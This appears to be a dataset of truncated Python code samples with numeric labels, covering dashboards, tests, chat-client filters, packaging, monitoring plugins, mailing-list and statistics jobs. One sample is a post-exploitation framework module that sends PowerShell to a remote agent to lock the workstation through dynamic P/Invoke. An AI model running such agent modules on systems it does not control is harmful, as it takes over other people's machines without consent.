self.SetSizer(vbox) self.SetTitle('Forseti Dashboard') self.Centre() self.Show(True) def OnQuit(self, e): self.Close() def format_match(match): print(match.match_number) print(match.team_names) print(match.team_numbers) return '{}: {} ({}) & {} ({}) vs. {} ({}) & {} ({})'.format( match.match_number, match.team_names[0], match.team_numbers[0], match.team_names[1], match.team_numbers[1], match.team_names[2], match.team_numbers[2], match.team_names[3], match.team_numbers[3], ) class Remote(object): def __init__(self): self.lc = lcm.LCM('udpm://239.255.76.67:7667?ttl=1') self.lc.subscribe('Schedule/Schedule', self.handle_schedule) self.lc.subscribe('Timer/Time', self.handle_time) self.match_list_box = None self.match_control = None self.thread = threading.Thread(target=self._loop) self.thread.daemon = True def start(self): self.thread.start() def _loop(self): while True: try: self.lc.handle() except Exception as ex: print('Got exception while handling lcm message', ex) def handle_schedule(self, channel, data): msg = Forseti.Schedule.decode(data) for i in range(msg.num_matches): self.match_list_box.Insert(format_match(msg.matches[i]), i, msg.matches[i]) def handle_time(self, channel, data): msg = Forseti.Time.decode(data) #wx.CallAfter(self.time_text.SetLabel, format_time(msg.game_time_so_far)) wx.CallAfter(self.match_control.set_time, msg) def do_load(self, clear_first): if clear_first: self.match_list_box.Clear() msg = Forseti.ScheduleLoadCommand() msg.clear_first = clear_first print('Requesting load') self.lc.publish('Schedule/Load', msg.encode()) def do_save(self, match): self.lc.publish('Match/Save', match.encode()) def do_init(self, match): self.lc.publish('Match/Init', match.encode()) def do_time_ctrl(self, command): msg = Forseti.TimeControl() msg.command_name = command self.lc.publish('Timer/Control', msg.encode()) def do_go(self): self.do_time_ctrl('start') def do_pause(self): self.do_time_ctrl('pause') def format_time(seconds): return '{}:{:02}'.format(seconds // 60, seconds % 60) def main(): app = wx.App() remote = Remote() MainWindow(remote, None) remote.start() remote.do_load(False) app.MainLoop() if __name__ == '__main__': main() ",1 " jmcnamara@cpan.org # import unittest from ...compatibility import StringIO from ...worksheet import Worksheet class TestWriteWorksheet(unittest.TestCase): """""" Test the Worksheet _write_worksheet() method. """""" def setUp(self): self.fh = StringIO() self.worksheet = Worksheet() self.worksheet._set_filehandle(self.fh) def test_write_worksheet(self): """"""Test the _write_worksheet() method"""""" self.worksheet._write_worksheet() exp = """""""""""" got = self.fh.getvalue() self.assertEqual(got, exp) ",1 "fake = False try: import weechat except: class FakeWeechat: def command(self, cmd): print(cmd) weechat = FakeWeechat() weechat_is_fake = True class IgnoreRule: """"""An ignore rule. This provides instrumentation for converting ignore rules into weechat filters. It handles both types of ignore-together ignore rules. """""" def __init__(self, ignorelist, rulename, rationale, typename='ignore', hostmasks=[], accountnames=[], patterns=[]): self.ignorelist = ignorelist self.rulename = rulename.replace(' ', '_') self.rationale = rationale self.typename = typename self.hostmasks = hostmasks self.accountnames = accountnames self.patterns = patterns def install(self): ""Install an ignore rule."" subrule_ctr = 0 if self.typename == 'ignore': for pattern in self.hostmasks: weechat.command('/filter add ignore-together.{ignorelist}.{rulename}.{ctr} irc.* * {pattern}'.format( ignorelist=self.ignorelist.name, rulename=self.rulename, ctr=subrule_ctr, pattern=pattern)) subrule_ctr += 1 # XXX - accountnames elif self.typename == 'message': for pattern in self.patterns: weechat.command('/filter add ignore-together.{ignorelist}.{rulename}.{ctr} irc.* * {pattern}'.format( ignorelist=self.ignorelist.name, rulename=self.rulename, ctr=subrule_ctr, pattern=pattern)) subrule_ctr += 1 def uninstall(self): ""Uninstall an ignore rule."" subrule_ctr = 0 if self.typename == 'ignore': for pattern in self.hostmasks: weechat.command('/filter del ignore-together.{ignorelist}.{rulename}.{ctr}'.format( ignorelist=self.ignorelist.name, rulename=self.rulename, ctr=subrule_ctr)) subrule_ctr += 1 elif self.typename == 'message': for pattern in self.patterns: weechat.command('/filter del ignore-together.{ignorelist}.{rulename}.{ctr}'.format( ignorelist=self.ignorelist.name, rulename=self.rulename, ctr=subrule_ctr)) subrule_ctr += 1 class IgnoreRuleSet: """"""A downloaded collection of rules. Handles merging updates vs current state, and so on."""""" def __init__(self, name, uri): self.name = name self.uri = uri self.rules = [] def load(self): def build_rules(s): for k, v in s.items(): self.rules.append(IgnoreRule(self, k, v.get('rationale', '???'), v.get('type', 'ignore'), v.get('hostmasks', []), v.get('accountnames', []), v.get('patterns', []))) def test_load_cb(payload): build_rules(yaml.load(payload)) if weechat_is_fake: d = open(self.uri, 'r') return test_load_cb(d.read()) def install(self): [r.install() for r in self.rules] def uninstall(self): [r.uninstall() for r in self.rules] rules = {} ",1 "kStation', 'Author': ['@harmj0y'], 'Description': (""Locks the workstation's display.""), 'Background' : False, 'OutputExtension' : None, 'NeedsAdmin' : False, 'OpsecSafe' : False, 'Language' : 'powershell', 'MinLanguageVersion' : '2', 'Comments': [ 'http://poshcode.org/1640' ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self): script = """""" Function Invoke-LockWorkStation { # region define P/Invoke types dynamically # stolen from PowerSploit https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1 # thanks matt and chris :) $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) $TypeBuilder = $ModuleBuilder.DefineType('Win32.User32', 'Public, Class') $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('User32.dll'), [Reflection.FieldInfo[]]@($SetLastError), @($True)) # Define [Win32.User32]::LockWorkStation() $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('LockWorkStation', 'User32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $User32 = $TypeBuilder.CreateType() $Null = $User32::LockWorkStation() } Invoke-LockWorkStation; ""Workstation locked."" """""" return script ",1 "ch_dir = ""output"" results_file = '../results.csv' os.chdir( search_dir ) files = filter( os.path.isfile, os.listdir( '.' )) #files = [ os.path.join( search_dir, f ) for f in files ] # add path to each file files.sort( key=lambda x: os.path.getmtime( x )) results = [] for file in files: f = open( file ) contents = f.read() # noise matches = re.search( noise_pattern, contents, re.DOTALL ) try: noise = matches.group( 1 ) noise = noise.strip() noise = noise.split() except AttributeError: print ""noise error 1: %s"" % ( contents ) continue # rmse matches = re.search( res_pattern, contents, re.M ) try: res = matches.group( 1 ) except AttributeError: print ""matches error 2: %s"" % ( contents ) continue results.append( [ res ] + noise ) writer = csv.writer( open( results_file, 'wb' )) for result in results: writer.writerow( result )",1 "rser.add_argument('--gym_environment', type=str, default='Pong-v0', help='OpenAI Gym Environment to be used (default to Pong-v0)') parser.add_argument('--mode', type=str, default='train', choices=['train', 'test'], help='running mode (default to train)') parser.add_argument('--use_gpu', type=bool, default=False, help='whether to use GPU (default to True)') parser.add_argument('--gpu_id', type=int, default=0, help='the id of the GPU to be used (default to 0)') parser.add_argument('--model_save_path', type=str, default='./model/PG_model.ckpt', help='path to save/load the model for training/testing (default to model/PG_model.ckpt)') parser.add_argument('--check_point', type=int, default=None, help='index of the ckeck point (default to None)') parser.add_argument('--model_save_freq', type=int, default=100, help='dump model at every k-th iteration (default to 100)') parser.add_argument('--display', type=bool, default=False, help='whether to render to result. (default to False)') args = parser.parse_args() if args.mode == 'train': env = PGEnvironment(environment_name=args.gym_environment, display=args.display) agent = PGAgent(env) assert(args.model_save_path is not None) agent.learn(model_save_frequency=args.model_save_freq, model_save_path=args.model_save_path, check_point = args.check_point, use_gpu=args.use_gpu, gpu_id=args.gpu_id) else: # disable frame skipping during testing result in better performance (because the agent can take more actions) env = PGEnvironment(environment_name=args.gym_environment, display=args.display, frame_skipping=False) agent = PGAgent(env) assert(args.check_point is not None) agent.test(model_save_path = args.model_save_path, check_point=args.check_point, use_gpu=args.use_gpu, gpu_id=args.gpu_id) print('finished.') ",1 "d_packages def requirements(): """"""Build the requirements list for this project"""""" requirements_list = [] with open('requirements.txt') as requirements: for install in requirements: requirements_list.append(install.strip()) return requirements_list packages = find_packages(exclude=['tests*']) with codecs.open('README.rst', 'r', 'utf-8') as fd: fn = os.path.join('telegram', 'version.py') with open(fn) as fh: code = compile(fh.read(), fn, 'exec') exec(code) setup(name='python-telegram-bot', version=__version__, author='Leandro Toledo', author_email='devs@python-telegram-bot.org', license='LGPLv3', url='https://python-telegram-bot.org/', keywords='python telegram bot api wrapper', description=""We have made you a wrapper you can't refuse"", long_description=fd.read(), packages=packages, install_requires=requirements(), extras_require={ 'json': 'ujson', 'socks': 'PySocks' }, include_package_data=True, classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)', 'Operating System :: OS Independent', 'Topic :: Software Development :: Libraries :: Python Modules', 'Topic :: Communications :: Chat', 'Topic :: Internet', 'Programming Language :: Python', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6' ],) ",1 "ee Software Foundation; only version 2 of the License is applicable. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # This plugin is to monitor queue lengths in Redis. Based on redis_info.py by # Garret Heaton , hence the GPL at the top. import collectd from contextlib import closing, contextmanager import socket # Host to connect to. Override in config by specifying 'Host'. REDIS_HOST = 'localhost' # Port to connect on. Override in config by specifying 'Port'. REDIS_PORT = 6379 # Verbose logging on/off. Override in config by specifying 'Verbose'. VERBOSE_LOGGING = False # Queue names to monitor. Override in config by specifying 'Queues'. QUEUE_NAMES = [] def fetch_queue_lengths(queue_names): """"""Connect to Redis server and request queue lengths. Return a dictionary from queue names to integers. """""" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((REDIS_HOST, REDIS_PORT)) log_verbose('Connected to Redis at %s:%s' % (REDIS_HOST, REDIS_PORT)) except socket.error, e: collectd.error('redis_queues plugin: Error connecting to %s:%d - %r' % (REDIS_HOST, REDIS_PORT, e)) return None queue_lengths = {} with closing(s) as redis_socket: for queue_name in queue_names: log_verbose('Requesting length of queue %s' % queue_name) redis_socket.sendall('llen %s\r\n' % queue_name) with closing(redis_socket.makefile('r')) as response_file: response = response_file.readline() if response.startswith(':'): try: queue_lengths[queue_name] = int(response[1:-1]) except ValueError: log_verbose('Invalid response: %r' % response) else: log_verbose('Invalid response: %r' % response) return queue_lengths def configure_callback(conf): """"""Receive configuration block"""""" global REDIS_HOST, REDIS_PORT, VERBOSE_LOGGING, QUEUE_NAMES for node in conf.children: if node.key == 'Host': REDIS_HOST = node.values[0] elif node.key == 'Port': REDIS_PORT = int(node.values[0]) elif node.key == 'Verbose': VERBOSE_LOGGING = bool(node.values[0]) elif node.key == 'Queues': QUEUE_NAMES = list(node.values) else: collectd.warning('redis_queues plugin: Unknown config key: %s.' % node.key) log_verbose('Configured with host=%s, port=%s' % (REDIS_HOST, REDIS_PORT)) for queue in QUEUE_NAMES: log_verbose('Watching queue %s' % queue) if not QUEUE_NAMES: log_verbose('Not watching any queues') def read_callback(): log_verbose('Read callback called') queue_lengths = fetch_queue_lengths(QUEUE_NAMES) if queue_lengths is None: # An earlier error, reported to collectd by fetch_queue_lengths return for queue_name, queue_length in queue_lengths.items(): log_verbose('Sending value: %s=%s' % (queue_name, queue_length)) val = collectd.Values(plugin='redis_queues') val.type = 'gauge' val.type_instance = queue_name val.values = [queue_length] val.dispatch() def log_verbose(msg): if not VERBOSE_LOGGING: return collectd.info('redis plugin [verbose]: %s' % msg) # register callbacks collectd.register_config(configure_callback) collectd.register_read(read_callback) ",1 "ribute it and/or modify it under # the terms of the GNU General Public License as published by the Free # Software Foundation, either version 3 of the License, or (at your option) # any later version. # # GNU Mailman is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for # more details. # # You should have received a copy of the GNU General Public License along with # GNU Mailman. If not, see . import sys import time import optparse from email.Charset import Charset from mailman import MailList from mailman import Utils from mailman.app.requests import handle_request from mailman.configuration import config from mailman.core.i18n import _ from mailman.email.message import UserNotification from mailman.initialize import initialize from mailman.interfaces.requests import IListRequests, RequestType from mailman.version import MAILMAN_VERSION # Work around known problems with some RedHat cron daemons import signal signal.signal(signal.SIGCHLD, signal.SIG_DFL) NL = u'\n' now = time.time() def parseargs(): parser = optparse.OptionParser(version=MAILMAN_VERSION, usage=_(""""""\ %prog [options] Check for pending admin requests and mail the list owners if necessary."""""")) parser.add_option('-C', '--config', help=_('Alternative configuration file to use')) opts, args = parser.parse_args() if args: parser.print_help() print(_('Unexpected arguments'), file=sys.stderr) sys.exit(1) return opts, args, parser def pending_requests(mlist): # Must return a byte string lcset = mlist.preferred_language.charset pending = [] first = True requestsdb = IListRequests(mlist) for request in requestsdb.of_type(RequestType.subscription): if first: pending.append(_('Pending subscriptions:')) first = False key, data = requestsdb.get_request(request.id) when = data['when'] addr = data['addr'] fullname = data['fullname'] passwd = data['passwd'] digest = data['digest'] lang = data['lang'] if fullname: if isinstance(fullname, unicode): fullname = fullname.encode(lcset, 'replace') fullname = ' (%s)' % fullname pending.append(' %s%s %s' % (addr, fullname, time.ctime(when))) first = True for request in requestsdb.of_type(RequestType.held_message): if first: pending.append(_('\nPending posts:')) first = False key, data = requestsdb.get_request(request.id) when = data['when'] sender = data['sender'] subject = data['subject'] reason = data['reason'] text = data['text'] msgdata = data['msgdata'] subject = Utils.oneline(subject, lcset) date = time.ctime(when) reason = _(reason) pending.append(_(""""""\ From: $sender on $date Subject: $subject Cause: $reason"""""")) pending.append('') # Coerce all items in pending to a Unicode so we can join them upending = [] charset = mlist.preferred_language.charset for s in pending: if isinstance(s, unicode): upending.append(s) else: upending.append(unicode(s, charset, 'replace')) # Make sure that the text we return from here can be encoded to a byte # string in the charset of the list's language. This could fail if for # example, the request was pended while the list's language was French, # but then it was changed to English before checkdbs ran. text = NL.join(upending) charset = Charset(mlist.preferred_language.charset) incodec = charset.input_codec or 'ascii' outcodec = charset.output_codec or 'ascii' if isinstance(text, unicode): return text.encode(outcodec, 'replace') # Be sure this is a byte string encodeable in the list's charset utext = unicode(text, incodec, 'replace') return utext.encode(outcodec, 'replace') def auto_discard(mlist): # Discard old held messages discard_count = 0 expire = config.days(mlist.max_days_to_hold) requestsdb = IListRequests(mlist) heldmsgs = list(requestsdb.of_type(RequestType.held_message)) if expire and heldmsgs: for request in heldmsgs: key, data = requestsdb.get_request(request.id) if now - data['date'] > expire: handle_request(mlist, request.id, config.DISCARD) discard_count += 1 mlist.Save() return discard_count # Figure out epoch seconds of midnight at the start of today (or the given # 3-tuple date of (year, month, day). def midnight(date=None): if date is None: date = time.localtime()[:3] # -1 for dst flag tells the library to figure it out return time.mktime(date + (0,)*5 + (-1,)) def main(): opts, args, parser = parseargs() initialize(opts.config) for name in config.list_manager.names: # The list must be locked in order to open the requests database mlist = MailList.MailList(name) try: count = IListRequests(mlist).count # While we're at it, let's evict yesterday's autoresponse data midnight_today = midnight() evictions = [] for sender in mlist.hold_and_cmd_autoresponses.keys(): date, respcount = mlist.hold_and_cmd_autoresponses[sender] if midnight(date) < midnight_today: evictions.append(sender) if evictions: for sender in evictions: del mlist.hold_and_cmd_autoresponses[sender] # This is the only place we've changed the list's database mlist.Save() if count: # Set the default language the the list's preferred language. _.default = mlist.preferred_language realname = mlist.real_name discarded = auto_discard(mlist) if discarded: count = count - discarded text = _('Notice: $discarded old request(s) ' 'automatically expired.\n\n') else: text = '' if count: text += Utils.maketext( 'checkdbs.txt', {'count' : count, 'mail_host': mlist.mail_host, 'adminDB' : mlist.GetScriptURL('admindb', absolute=1), 'real_name': realname, }, mlist=mlist) text += '\n' + pending_requests(mlist) subject = _('$count $realname moderator ' 'request(s) waiting') else: subject = _('$realname moderator request check result') msg = UserNotification(mlist.GetOwnerEmail(), mlist.GetBouncesEmail(), subject, text, mlist.preferred_language) msg.send(mlist, **{'tomoderators': True}) finally: mlist.Unlock() if __name__ == '__main__': main() ",1 "tLoadedDict): def __missing__(self, key): try: return super().__missing__(key) except KeyError: return NotImplemented ################################################ class Server(): def __init__(self, shortname, loader): # Not preloaded # loaders must produce dictionaries (or an appropriate iterable) # with the required keys. # The reason for this is that code for certain servers need not be loaded # if it's not going to be used at all # It also prevents import loop collisions. global __ServerImplementationDict self.__data = ServerImplementationDict(loader) self.__shortname = shortname @property def shortname(self): # This is the only property provided from above return self.__shortname def __str__(self): return str(self.__shortname) # All other properties must come from canonical sources # provided by the server loader # CONSTANTS (STRINGS, BOOLEANS, INTS, ETC.) @property def name(self): return self.__data['str_name'] @property def internal_shortname(self): return self.__data['str_shortname'] @property def beta(self): return self.__data['bool_tester'] # CLASSES # 1- Credentials: @property def Auth(self): # I really don't know how to call this. return self.__data['cls_auth'] @property def auth_fields(self): return self.__data['list_authkeys'] # 2- Server Elements: @property def Player(self): return self.__data['cls_player'] @property def Tournament(self): return self.__data['cls_tournament']",1 "f sorted_list(): return [i for i in xrange(10)] @pytest.fixture def reverse_list(): return [i for i in xrange(9, -1, -1)] @pytest.fixture def average_list(): return [5, 9, 2, 4, 1, 6, 8, 7, 0, 3] def test_sorted(sorted_list): insertion_sort(sorted_list) assert sorted_list == [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] def test_worst(reverse_list): insertion_sort(reverse_list) assert reverse_list == [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] def test_average(average_list): insertion_sort(average_list) assert average_list == [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] def test_repeats(): l = [3, 6, 7, 3, 9, 5, 2, 7] insertion_sort(l) assert l == [2, 3, 3, 5, 6, 7, 7, 9] def test_multiple_types(): l = [3, 'foo', 2.8, True, []] # python 2 sorting is crazy insertion_sort(l) assert l == [True, 2.8, 3, [], 'foo'] ",1 " # This module copyright (C) 2015 Therp BV (). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . # ############################################################################## import copy from openerp import models from openerp.addons.account.report.account_financial_report import\ report_account_common class report_account_common_horizontal(report_account_common): def __init__(self, cr, uid, name, context=None): super(report_account_common_horizontal, self).__init__( cr, uid, name, context=context) self.localcontext.update({ 'get_left_lines': self.get_left_lines, 'get_right_lines': self.get_right_lines, }) def get_lines(self, data, side=None): data = copy.deepcopy(data) if data['form']['used_context'] is None: data['form']['used_context'] = {} data['form']['used_context'].update( account_financial_report_horizontal_side=side) return super(report_account_common_horizontal, self).get_lines( data) def get_left_lines(self, data): return self.get_lines(data, side='left') def get_right_lines(self, data): return self.get_lines(data, side='right') class ReportFinancial(models.AbstractModel): _inherit = 'report.account.report_financial' _wrapped_report_class = report_account_common_horizontal ",1 "pyplot as plt from plotly.tests.utils import compare_dict from plotly.tests.test_optional.optional_utils import run_fig from plotly.tests.test_optional.test_matplotlylib.data.annotations import * def test_annotations(): fig, ax = plt.subplots() ax.plot([1, 2, 3], 'b-') ax.plot([3, 2, 1], 'b-') ax.text(0.001, 0.999, 'top-left', transform=ax.transAxes, va='top', ha='left') ax.text(0.001, 0.001, 'bottom-left', transform=ax.transAxes, va='baseline', ha='left') ax.text(0.999, 0.999, 'top-right', transform=ax.transAxes, va='top', ha='right') ax.text(0.999, 0.001, 'bottom-right', transform=ax.transAxes, va='baseline', ha='right') renderer = run_fig(fig) for data_no, data_dict in enumerate(renderer.plotly_fig['data']): equivalent, msg = compare_dict(data_dict, ANNOTATIONS['data'][data_no]) assert equivalent, msg for no, note in enumerate(renderer.plotly_fig['layout']['annotations']): equivalent, msg = compare_dict(note, ANNOTATIONS['layout']['annotations'][no]) assert equivalent, msg ",1 "=== Some trends are common enough to appear seasonal, yet sporadic enough that approaching them from a seasonal perspective may not be valid. An example of this is the `""end-of-the-month"" effect `_. In this example, we'll explore how we can create meaningful features that express seasonal trends without needing to fit a seasonal model. .. raw:: html
    """""" print(__doc__) # Author: Taylor Smith import pmdarima as pm from pmdarima import arima from pmdarima import model_selection from pmdarima import pipeline from pmdarima import preprocessing from pmdarima.datasets._base import load_date_example import numpy as np from matplotlib import pyplot as plt print(f""pmdarima version: {pm.__version__}"") # Load the data and split it into separate pieces y, X = load_date_example() y_train, y_test, X_train, X_test = \ model_selection.train_test_split(y, X, test_size=20) # We can examine traits about the time series: pm.tsdisplay(y_train, lag_max=10) # We can see the ACF increases and decreases rather rapidly, which means we may # need some differencing. There also does not appear to be an obvious seasonal # trend. n_diffs = arima.ndiffs(y_train, max_d=5) # Here's what the featurizer will create for us: date_feat = preprocessing.DateFeaturizer( column_name=""date"", # the name of the date feature in the X matrix with_day_of_week=True, with_day_of_month=True) _, X_train_feats = date_feat.fit_transform(y_train, X_train) print(f""Head of generated X features:\n{repr(X_train_feats.head())}"") # We can plug this X featurizer into a pipeline: pipe = pipeline.Pipeline([ ('date', date_feat), ('arima', arima.AutoARIMA(d=n_diffs, trace=3, stepwise=True, suppress_warnings=True, seasonal=False)) ]) pipe.fit(y_train, X_train) # Plot our forecasts forecasts = pipe.predict(X=X_test) fig = plt.figure(figsize=(16, 8)) ax = fig.add_subplot(1, 1, 1) n_train = y_train.shape[0] x = np.arange(n_train + forecasts.shape[0]) ax.plot(x[:n_train], y_train, color='blue', label='Training Data') ax.plot(x[n_train:], forecasts, color='green', marker='o', label='Predicted') ax.plot(x[n_train:], y_test, color='red', label='Actual') ax.legend(loc='lower left', borderaxespad=0.5) ax.set_title('Predicted Foo') ax.set_ylabel('# Foo') plt.show() # What next? Try combining different featurizers in your pipeline to enhance # a model's predictive power. ",1 "nd content length for every record stored in the main shapefile. This is useful if you need to extract specific features from a shapefile without reading the entire file. How to use: from ShapefileIndexReader import ShapefileIndex shx = ShapefileIndex(Path/To/index.shx) shx.read() The 'shx' object will expose three properties 1) Path - the path given to the shapefile, if it exists 2) Offsets - an array of byte offsets for each record in the main shapefile 3) Lengths - an array of 16-bit word lengths for each record in the main shapefile """""" import os __author__ = 'Sean Taylor Hutchison' __license__ = 'MIT' __version__ = '0.1.0' __maintainer__ = 'Sean Taylor Hutchison' __email__ = 'seanthutchison@gmail.com' __status__ = 'Development' class ShapefileIndex: Records = [] def __bytes_to_index_records(self,file_bytes): file_length = len(file_bytes) num_records = int((file_length - 100) / 8) for record_counter in range(0,num_records): byte_position = 100 + (record_counter * 8) offset = int.from_bytes(file_bytes[byte_position:byte_position+4], byteorder='big') length = int.from_bytes(file_bytes[byte_position+4:byte_position+8], byteorder='big') self.Records.append([offset,length]) def read(self): with open(self.Path, 'rb') as shpindex: self.__bytes_to_index_records(shpindex.read()) def __init__(self, path=None): if path and os.path.exists(path) and os.path.splitext(path)[1] == '.shx': self.Path = path else: raise FileNotFoundError",1 "rom fix import with_fixture def test_exists(): """"""`fix.with_fixture` function exists"""""" assert isinstance(with_fixture, FunctionType) def test_setup_only(): """"""`setup_only` fixture works as expected"""""" def setup_only(context): """"""A fixture with no `teardown()`."""""" def setup(): """"""Add something to the context."""""" assert context == {} context.squee = ""kapow"" return setup @with_fixture(setup_only) def case(context): """"""Check that the context has been set up."""""" assert context == {""squee"": ""kapow""} case() # pylint: disable=E1120 def test_setup_teardown(): """"""`setup_teardown` fixture works as expected"""""" def setup_teardown(context): """"""A fixture with both `setup()` and `teardown()`."""""" def setup(): """"""Add something to the context."""""" assert context == {} context.squee = ""kapow"" def teardown(): """"""Check that `context.squee` has changed."""""" assert context == {""squee"": ""boing""} return setup, teardown @with_fixture(setup_teardown) def case(context): """"""Alter the context."""""" assert context == {""squee"": ""kapow""} context.squee = ""boing"" case() # pylint: disable=E1120 def test_multiple_invocation(): """"""`multiple` fixture creates a fresh context each invocation"""""" def multiple(context): """"""A fixture to be invoked multiple times."""""" def setup(): """"""Add something to the context."""""" assert context == {} context.squee = ""kapow"" def teardown(): """"""Check that `context.squee` has changed."""""" assert context == {""squee"": ""kapow"", ""boing"": ""thunk""} return setup, teardown @with_fixture(multiple) def case(context): """"""Add to the context."""""" assert context == {""squee"": ""kapow""} context.boing = ""thunk"" for _ in range(3): case() # pylint: disable=E1120 def test_external(): """"""`external` fixture interacts as expected with the 'real world'."""""" def external(context, files=3): """"""A fixture to manipulate temporary files and directories."""""" def setup(): """"""Create some temporary files."""""" context.temp_dir = tempfile.mkdtemp() context.filenames = [""file_%03d"" % i for i in range(files)] for filename in context.filenames: with open(os.path.join(context.temp_dir, filename), ""w"") as f: f.write(""This is the file %r.\n"" % filename) def teardown(): """"""Delete the temporary files created in `setup()`."""""" shutil.rmtree(context.temp_dir) return setup, teardown @with_fixture(external, files=5) def check_files(context): """"""Return the number of present and absent files."""""" present = 0 absent = 0 for filename in context.filenames: if os.path.exists(os.path.join(context.temp_dir, filename)): present += 1 else: absent += 1 return context.temp_dir, present, absent temp_dir, present, absent = check_files() # pylint: disable=E1120 assert not os.path.exists(temp_dir) assert present == 5 assert absent == 0 ",1 "go.db.models import Sum, Max import commonware.log from apiclient.discovery import build from celeryutils import task from oauth2client.client import OAuth2Credentials import amo import amo.search from addons.models import Addon, AddonUser from bandwagon.models import Collection from lib.es.utils import get_indices from reviews.models import Review from stats.models import Contribution from users.models import UserProfile from versions.models import Version from mkt.constants.regions import REGIONS_CHOICES_SLUG from mkt.monolith.models import MonolithRecord from mkt.webapps.models import Webapp from . import search from .models import (AddonCollectionCount, CollectionCount, CollectionStats, DownloadCount, ThemeUserCount, UpdateCount) log = commonware.log.getLogger('z.task') @task def addon_total_contributions(*addons, **kw): ""Updates the total contributions for a given addon."" log.info('[%s@%s] Updating total contributions.' % (len(addons), addon_total_contributions.rate_limit)) # Only count uuid=None; those are verified transactions. stats = (Contribution.objects.filter(addon__in=addons, uuid=None) .values_list('addon').annotate(Sum('amount'))) for addon, total in stats: Addon.objects.filter(id=addon).update(total_contributions=total) @task def update_addons_collections_downloads(data, **kw): log.info(""[%s] Updating addons+collections download totals."" % (len(data))) cursor = connection.cursor() q = (""UPDATE addons_collections SET downloads=%s WHERE addon_id=%s "" ""AND collection_id=%s;"" * len(data)) cursor.execute(q, list(itertools.chain.from_iterable( [var['sum'], var['addon'], var['collection']] for var in data))) transaction.commit_unless_managed() @task def update_collections_total(data, **kw): log.info(""[%s] Updating collections' download totals."" % (len(data))) for var in data: (Collection.objects.filter(pk=var['collection_id']) .update(downloads=var['sum'])) def get_profile_id(service, domain): """""" Fetch the profile ID for the given domain. """""" accounts = service.management().accounts().list().execute() account_ids = [a['id'] for a in accounts.get('items', ())] for account_id in account_ids: webproperties = service.management().webproperties().list( accountId=account_id).execute() webproperty_ids = [p['id'] for p in webproperties.get('items', ())] for webproperty_id in webproperty_ids: profiles = service.management().profiles().list( accountId=account_id, webPropertyId=webproperty_id).execute() for p in profiles.get('items', ()): # sometimes GA includes ""http://"", sometimes it doesn't. if '://' in p['websiteUrl']: name = p['websiteUrl'].partition('://')[-1] else: name = p['websiteUrl'] if name == domain: return p['id'] @task def update_google_analytics(date, **kw): creds_data = getattr(settings, 'GOOGLE_ANALYTICS_CREDENTIALS', None) if not creds_data: log.critical('Failed to update global stats: ' 'GOOGLE_ANALYTICS_CREDENTIALS not set') return creds = OAuth2Credentials( *[creds_data[k] for k in ('access_token', 'client_id', 'client_secret', 'refresh_token', 'token_expiry', 'token_uri', 'user_agent')]) h = httplib2.Http() creds.authorize(h) service = build('analytics', 'v3', http=h) domain = getattr(settings, 'GOOGLE_ANALYTICS_DOMAIN', None) or settings.DOMAIN profile_id = get_profile_id(service, domain) if profile_id is None: log.critical('Failed to update global stats: could not access a Google' ' Analytics profile for ' + domain) return datestr = date.strftime('%Y-%m-%d') try: data = service.data().ga().get(ids='ga:' + profile_id, start_date=datestr, end_date=datestr, metrics='ga:visits').execute() # Storing this under the webtrends stat name so it goes on the # same graph as the old webtrends data. p = ['webtrends_DailyVisitors', data['rows'][0][0], date] except Exception, e: log.critical( 'Fetching stats data for %s from Google Analytics failed: %s' % e) return try: cursor = connection.cursor() cursor.execute('REPLACE INTO global_stats (name, count, date) ' 'values (%s, %s, %s)', p) transaction.commit_unless_managed() except Exception, e: log.critical('Failed to update global stats: (%s): %s' % (p, e)) return log.debug('Committed global stats details: (%s) has (%s) for (%s)' % tuple(p)) @task def update_global_totals(job, date, **kw): log.info('Updating global statistics totals (%s) for (%s)' % (job, date)) jobs = _get_daily_jobs(date) jobs.update(_get_metrics_jobs(date)) num = jobs[job]() q 